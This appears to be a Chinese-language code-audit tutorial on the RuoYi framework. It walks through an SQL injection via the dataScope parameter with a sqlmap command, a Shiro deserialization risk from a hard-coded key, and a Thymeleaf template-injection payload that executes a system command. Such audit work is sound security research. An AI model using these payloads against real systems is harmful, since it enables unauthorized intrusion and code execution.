一、环境搭建

在对若依框架做代码审计时,有必要先去学习一下若依框架的组成架构,做一个小型的开发项目再来。

到官网下载对应版本源码:https://github.com/yangzongzhuan/RuoYi

采用5.7版本Mysql数据库。JDK使用1.8版本

image-20241127055702555

配置好数据库信息

image-20241127055912463

更改端口并启动项目

image-20241127061619817

二、SQL注入漏洞(CVE-2023-49371)

若依框架采用了MyBatis的开发,找SQL注入时全局搜索${符号,尤其是设计到用户的这种SQL语句

image-20241127060515873

根据Id向上寻找

image-20241127060639097

直接定位Controller层,两处调用了selectRoleList

image-20241127061001727

在前端页发起请求查看数据包

image-20241127062308069

并无params.dataScope字段,我们尝试手动添加并用SQLMap 测试

1
python sqlmap.py -r test.txt --batch --level 3 --risk 3

image-20241127063438103

测试成功

image-20241127063503139

三、Shiro反序列化漏洞

查看shiro的版本信息,1.7.0不在Shiro550的漏洞范围内

image-20241127063828926

全局查找cipherKey,看密钥是否是固定值

image-20241127064309292

cipherKey 密钥固定从配置文件中获取

image-20241127064410247

而配置文件这里使用了固定的密钥

四、Thymeleaf模板注入

全局搜索::

image-20241127071202799

构造POC

1
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

image-20241127071325977